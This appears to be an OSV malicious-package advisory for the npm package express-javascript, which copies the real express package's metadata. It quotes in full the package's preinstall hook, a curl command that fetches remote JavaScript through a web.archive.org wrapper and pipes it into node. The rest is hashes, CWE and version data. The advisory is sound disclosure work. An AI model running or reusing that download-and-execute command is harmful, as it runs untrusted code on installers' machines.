MAL-2026-17242

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-javascript/MAL-2026-17242.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17242
Published
2026-09-29T14:40:22Z
Modified
2026-09-29T15:00:05Z
Summary
Malicious code in express-javascript (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401)

express-javascript@5.2.1 impersonates the express package (copying its description, author, contributors, repository, homepage, and dependency list verbatim) while its package.json preinstall lifecycle hook runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from a third-party account unrelated to the express publisher via a web.archive.org wrapper on a mutable branch/main ref and piping it into node with no integrity check. Every npm install of this package executes whatever bytes that endpoint returns on the installer's machine.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020632",
            "import_time":  "2026-09-29T14:44:37.392432Z",
            "modified_time":  "2026-09-29T14:40:22Z",
            "sha256":  "73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401",
            "source":  "amazon-inspector",
            "versions":  [
                "5.2.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / express-javascript

Package

Name
express-javascript
View open source insights on deps.dev
Purl
pkg:npm/express-javascript

Affected ranges

Affected versions

5.*
5.2.1

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "802b379278fac7220d1cfe63545dbd2e20afa28c34d344edb000cb18a0d1c620",
            "tlsh":  "1f51ba21cc4e8c6326c5a2dd3c69a542612188078e41f81cf759539c8f8e56f71b9fbe"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "express-javascript-5.2.1.tgz",
            "hashes":  {
                "sha1":  "befd8fdeba66846025490e7869147804c88375e9",
                "sha512_sri":  "sha512-wpNV2u4N2loxL3yEpirCoQNlNK0QIpUizwMfJU3bOL9o3oIlYTRuT7+oNDTag6wKGV3bHqfe6jiTnSH51la3nA=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-javascript/MAL-2026-17242.json"